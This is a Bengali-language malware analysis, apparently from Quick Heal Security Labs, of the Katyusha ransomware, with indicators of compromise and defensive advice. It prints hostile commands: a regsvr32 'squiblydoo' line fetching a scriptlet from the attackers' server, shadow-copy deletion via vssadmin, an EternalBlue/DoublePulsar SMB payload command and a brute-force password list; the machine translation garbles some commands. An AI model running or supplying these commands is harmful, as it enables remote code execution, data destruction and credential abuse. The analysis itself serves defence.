কয়েক মাস ধরে কুইক হিল সিকিউরিটি ল্যাবস র্যানসমওয়্যারের বৃদ্ধি লক্ষ্য করছে। আমরা আরও একটি আকর্ষণীয় র্যানসমওয়্যার খুঁজে পেয়েছি যা ফাইল এনক্রিপ্ট করে এবং সেগুলিতে “.katyusha” এক্সটেনশন যুক্ত করে। এটি তিন দিনের মধ্যে ০.৫ বিটিসি মুক্তিপণ দাবি করে এবং মুক্তিপণ পরিশোধ না করা হলে ডেটা সর্বসাধারণের ডাউনলোডের জন্য উন্মুক্ত করে দেওয়ার হুমকি দেয়। ম্যালওয়্যারটিতে অনেকগুলো উপাদান রয়েছে, যার মধ্যে “ ডাবল পালসার ” এবং “ ইটার্নাল ব্লু ” এক্সপ্লয়েট ব্যবহার করা হয়েছে, যা নেটওয়ার্কে ছড়িয়ে পড়ার জন্য ব্যবহৃত হয়। এছাড়াও, এটি নেটওয়ার্কে ছড়িয়ে পড়ার জন্য “ স্কুইবলিডু ” নামক একটি অনন্য আক্রমণ কৌশল ব্যবহার করে। এই র্যানসমওয়্যারের সংক্রমণের মাধ্যম এখনও নিশ্চিত নয়, তবে প্রাপ্ত তথ্যের ভিত্তিতে ধারণা করা হচ্ছে যে এই র্যানসমওয়্যারটি স্পিয়ার ফিশিং, ম্যালভারটাইজিং, স্প্যাম মেইল, এসএমবি এক্সপ্লয়েট ইত্যাদির মাধ্যমে সিস্টেমে প্রবেশ করতে পারে।
প্রযুক্তিগত বিশ্লেষণ :
এই ম্যালওয়্যারটি MPRESS(v2.19) দ্বারা প্যাক করা এবং ভুক্তভোগীর সিস্টেমে “ katyusha.exe ” নামে “%temp%” ফোল্ডারে উপস্থিত থাকে। এতে তিনটি উপাদান রয়েছে। চালু হলে এটি সেগুলোকে C:\Windows\Temp ফোল্ডারে ফেলে এবং সেগুলোর এক্সিকিউশন শুরু করে:
- Svchost0.bat সম্পর্কে
- Zkts.exe সম্পর্কে
- Ktsi.exe সম্পর্কে
সিস্টেমটি ইতিমধ্যেই সংক্রামিত কিনা তা নির্ধারণ করার জন্য কাতিউশা সিস্টেমে নিম্নলিখিত ফাইলগুলি পরীক্ষা করে।
“C:\_how_to_decrypt_you_files.txt”
“C:\ProgramData\_how_to_decrypt_you_files.txt”
যদি কোনও সিস্টেম ইতিমধ্যেই সংক্রামিত থাকে, তাহলে কাতিউশা একটি ব্যাচ ফাইল (svchost0.bat) তৈরি করে যার মধ্যে চিত্র ১-এ দেখানো কোড থাকে যা স্ব-অনুলিপি মুছে ফেলে এবং নিজেই বন্ধ করে দেয়। যদি সিস্টেমটি সংক্রামিত না হয় তবে এটি zkts.exe এবং ktsi.exe ড্রপ করে এবং তাদের কার্যকর করে।
Zkts.exe :
এই ফাইলটি 7zip কম্প্রেসড এক্সিকিউটেবল এবং প্রধান উপাদান যার মধ্যে নেটওয়ার্ক স্প্রেডিং মডিউল, পাসওয়ার্ড চুরি মডিউল ইত্যাদির মতো একাধিক সাব-মডিউল রয়েছে।
zkts.exe চালু হলে, এটি “ C:\Windows\Temp ” ফোল্ডারে Mimikatz, katyusha.dll, eternal blue exploit ইত্যাদির মতো উপাদানগুলো এক্সট্র্যাক্ট করে, যেগুলো পরবর্তীতে Katyusha একটি কার্যকলাপ সম্পাদনের জন্য ব্যবহার করে।
Ktsi.exe (এনক্রিপ্টর):
এটি আরেকটি প্রধান উপাদান যা MPRESS প্যাকড ফাইলও। এটি মূলত ফাইল এনক্রিপশন এবং ভিকটিমের সিস্টেমে মুক্তিপণ নোট ড্রপ করার জন্য ব্যবহৃত হয়। চিত্র 3-এ দেখানো প্রধান পেলোড (katyusha.exe) দ্বারা এই প্রক্রিয়াটি স্বাধীনভাবে শুরু হয়।
ktsi.exe কার্যকর করার সময়, এটি প্রথমে নিম্নলিখিত কাজের তালিকা বন্ধ করে দেয় যাতে প্রাসঙ্গিক প্রক্রিয়া দ্বারা লক করা ফাইলগুলির হ্যান্ডেলগুলি মুক্তি পায় (যেমন db ফাইল, ইত্যাদি) যা চিত্র 4-এ দেখানো হয়েছে।
ডাটাবেস সম্পর্কিত ফাইলগুলি সফলভাবে এনক্রিপ্ট করার জন্য, ktsi ডাটাবেস অ্যাপ্লিকেশনের সাথে সম্পর্কিত প্রক্রিয়াগুলিকে মেরে ফেলে। ম্যালওয়্যারে হার্ড-কোড করা প্রক্রিয়াগুলির তালিকা নীচে দেওয়া হল:
| mysqld.exe ব্যবহার করে | httpd.exe | sqlsevr.exe সম্পর্কে |
| sqlwriter.exe সম্পর্কে | w3wp.exe | sqlagent.exe সম্পর্কে |
| fdhost.exe ব্যবহার করে | fdlauncher.exe সম্পর্কে | রিপোর্টিংসার্ভিসেসসার্ভিস.এক্সই |
| omtsreco.exe সম্পর্কে | tnslsnr.exe সম্পর্কে | oracle.exe সম্পর্কে |
| emagent.exe সম্পর্কে | mysqld-nt.exe |
টাস্ককিল অপারেশনের পর, ম্যালওয়্যার সিস্টেম স্টার্টআপের সময় সমস্ত ব্যবহারকারীর জন্য দৃশ্যমান করার জন্য নীচের পাথে html এবং txt ফর্ম্যাটে র্যানসম নোট ফেলে দেয়,
"C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup"
_কিভাবে_আপনার_ফাইল_ডিক্রিপ্ট_করবেন.txt
_কিভাবে_ডিক্রিপ্ট_করবেন_আপনার_ফাইল.html
“C:\ProgramData” এবং C ড্রাইভের রুটে (C:\) শুধুমাত্র “_how_to_decrypt_you_files.txt” নামে মুক্তিপণ নোটটি রাখুন।
Ktsi.exe নিম্নলিখিত কমান্ডটি কার্যকর করে শ্যাডো কপিও মুছে ফেলে,
"vssadmin ছায়া মুছে ফেলুন /সব /নীরব"
এই সমস্ত কাজ সম্পন্ন হওয়ার পর, ktsi.exe ক্রিপ্টোগ্রামের স্ট্যান্ডার্ড এনক্রিপশন পদ্ধতির সাহায্যে ফাইল এনক্রিপশন (RSA) শুরু করে । এই অ্যালগরিদম সম্পর্কিত সিগনেচারগুলো একটি ফাইলে পাওয়া যায়, যা চিত্র ৭-এ দেখানো হয়েছে।
এটি নিম্নলিখিতটি ছাড়া সমস্ত এক্সটেনশন ফাইল এনক্রিপ্ট করে,
এতে ফাইল এবং ফোল্ডারগুলির একটি বর্জন তালিকাও রয়েছে (চিত্র ৯-এ দেখানো হয়েছে) যদি এই শব্দগুলি তালিকাভুক্ত ফাইল পাথে পাওয়া যায় তবে এটি সেই পাথটিকে এনক্রিপশন থেকে বাদ দেবে। নিরবচ্ছিন্ন এনক্রিপশন সম্পাদনের জন্য, তালিকায় কয়েকটি সুরক্ষা পণ্যের নাম রয়েছে।
বিস্তার প্রক্রিয়া:
নেটওয়ার্ক বিস্তারের জন্য, zkts থেকে নিষ্কাশিত ফাইলগুলি ভূমিকা পালন করে। নিষ্কাশিত উপাদানগুলির জন্য চিত্র 2 দেখুন।
m32.exe এবং m64.exe হল Mimikatz টুল যা উইন্ডোজ lsass.exe থেকে ক্রেডেনশিয়াল আনতে ব্যবহৃত হয়।
প্রথমত, katyusha.exe সিস্টেম কল IsWow64Process ব্যবহার করে সিস্টেমটি 32bit নাকি 64bit তা নির্ধারণ করে (সিস্টেমটি 64 বিট হলে এটি একটি অ-শূন্য মান প্রদান করে) এবং সিস্টেম আর্কিটেকচার অনুসারে Mimikatz কার্যকর করে।
Mimikatz টুলটি আউটপুট হিসেবে “C:\Windows\Temp” ফোল্ডারে নিম্নলিখিত ফাইলগুলো তৈরি করে।
– snamelog : সংগৃহীত ব্যবহারকারীর নাম ধারণ করে।
– spasslog : সংশ্লিষ্ট আনীত ব্যবহারকারীর নামের জন্য পাসওয়ার্ড ধারণ করে।
mimikatz কার্যকর করার পর, katyusha.exe snamelog থেকে ব্যবহারকারীর নাম এবং spasslog থেকে পাসওয়ার্ড পড়ে, যা নেটওয়ার্কে ব্রুট ফোর্স আক্রমণ করতে ব্যবহৃত হয়।
Zkts.exe এর ফলে svchostb.exe, svchostb.xml, svchostbs.exe, svchostbs.xml, katyusha.dll এবং svchostp.exeও বাদ পড়ে। এই উপাদানগুলি নেটওয়ার্কে Katyusha ছড়িয়ে দেওয়ার জন্য ব্যবহৃত হয়।
ড্রপড ইটারনাল ব্লু এক্সপ্লয়েট এবং ডাবল পালসারের সাহায্যে, ম্যালওয়্যার নেটওয়ার্কে সংযুক্ত সিস্টেমগুলিতে katyusha.dll ক্রমান্বয়ে কার্যকর করে। এর জন্য katyusha.exe নিম্নলিখিত কমান্ডের সাহায্যে SMB দুর্বলতা কাজে লাগায়,
“C:\windows\temp\&svchostb.exe –TargetIp & svchostbs.exe –OutConfig s –TargetPort 445 –Protocol SMB –Architecture x64 –Function RunDLL –DllPayload katyusha.dll –TargetIp "
Katyusha.dll হল একটি পেলোড ফাইল যাতে নিম্নলিখিত কমান্ডটি চালানোর জন্য কোড রয়েছে,
"regsvr32 /u /s /i:hxxp://86.106.102.147/img/katyusha.data scrobj.dll"
চিত্র ১২-তে দেখানো ফাইলটিতে আমরা হার্ড-কোডেড কমান্ড স্ট্রিংও খুঁজে পেতে পারি।
উপরের regsvr32 (মাইক্রোসফট রেজিস্টার সার্ভার) কমান্ডটি কার্যকর করা হলে, এটি প্রদত্ত ইউআরএল থেকে স্ক্রিপ্ট (katyusha.data) ডাউনলোড করবে এবং regsvr32 (/u) প্যারামিটার সহ আনরেজিস্টার সার্ভারকে কল করবে। এটি ডাউনলোড করা স্ক্রিপ্টলেট থেকে <registration> ট্যাগের অধীনে থাকা জাভাস্ক্রিপ্ট কোডটি কার্যকর করবে, যেমনটি চিত্র ১৩-তে দেখানো হয়েছে। স্ক্রিপ্টটিতে প্রদত্ত ইউআরএল থেকে “%temp%” ডিরেক্টরিতে katyusha.exe ডাউনলোড করে তা কার্যকর করার কোড রয়েছে।
regsvr32 কমান্ড ব্যবহার করে C&C থেকে স্ক্রিপ্টলেট ডাউনলোড ও এক্সিকিউট করার এই ধরনের আক্রমণকে “squiblydoo” বলা হয় ।
উপরের পদক্ষেপের পর, এটি পাওয়ার অ্যাডমিন টুল (svchostp.exe)-এর সাহায্যে নেটওয়ার্কের সিস্টেমগুলোতে ব্রুট ফোর্স অ্যাটাক চালায়। এই টুলটি সিসইন্টারনালস-এর PsExec টুলের মতো, যা রিমোট সিস্টেমে প্রসেস এক্সিকিউট করতে ব্যবহৃত হয়। এই র্যানসমওয়্যারটির নিজেরই নিচে দেওয়া কয়েকটি ইউজারনেম এবং পাসওয়ার্ডের একটি তালিকা রয়েছে, এর পাশাপাশি এটি ব্রুট ফোর্স অ্যাটাকের জন্য মিমিক্যাটজ (snamelog এবং spasslog) থেকে সংগ্রহ করা ইউজারনেম এবং পাসওয়ার্ডও ব্যবহার করে।
ব্যবহারকারীর নাম :
অ্যাডমিন, প্রশাসক, +স্নামলগের বিষয়বস্তু।
পাসওয়ার্ডসমূহ :
অ্যাডমিন, ১২৩৪৫, চিনাচাইনা২০৩, ১১১, ১২৩৪৫৬, কোয়ার্টি, পরীক্ষা, abc১২৩, ১২৩৪৫৬৭৮, ০০০, ১১২২, ১২৩৪, +স্পাসলগের বিষয়বস্তু।
নিষ্ঠুর বলপ্রয়োগে, কাত্যুশা নিম্নলিখিত কমান্ড ব্যবহার করে,
“সি:\উইন্ডোজ\টেম্প\svchostp.exe” -তু -পি -n 10 -s regsvr32 /u /s /i:https://86.106.102.147/img/katyusha.data scrobj.dll"
উপরের কমান্ডটি কেবল regsvr32 ইউটিলিটি কার্যকর করে, যার সাথে url একটি প্যারামিটার হিসেবে পেলোড ডাউনলোড করে এবং katyusha.dll এর জন্য উপরে বর্ণিত কার্যকলাপ সম্পাদন করে।
আইওসি :
MD5: 7f87db33980c0099739de40d1b725500
Urls:
- hxxp://86.106.102.147/img/katyusha.data
- hxxp://86.106.102.147/img/katyusha.exe
বিটকয়েন ওয়ালেট ঠিকানা: “3ALmvAWLEothnMF5BjckAFaKB5S6zan9PK”
উপসংহার :
এই বছর আমরা র্যানসমওয়্যারের সংখ্যা বৃদ্ধি দেখতে পেয়েছি, তারা তথ্য ছড়িয়ে দেওয়ার এবং এনক্রিপ্ট করার জন্য নতুন উপায় ব্যবহার করছে। এখন, বেশিরভাগ র্যানসমওয়্যারে এক্সপ্লাইট এবং নেটওয়ার্কে ছড়িয়ে দেওয়ার জন্য ইটারনাল ব্লু, মিমিক্যাটজের মতো সরঞ্জাম রয়েছে। আমরা ব্যবহারকারীদের সন্দেহজনক ইউআরএল/ইমেল অ্যাক্সেস করা এড়িয়ে চলার, শক্তিশালী সিস্টেম শংসাপত্র ব্যবহার করার এবং তাদের অ্যান্টিভাইরাস আপডেট রাখার পরামর্শ দিচ্ছি।
বিষয়ের বিশেষজ্ঞ:
প্রতীক পাচপোর | কুইক হিল সিকিউরিটি ল্যাবস
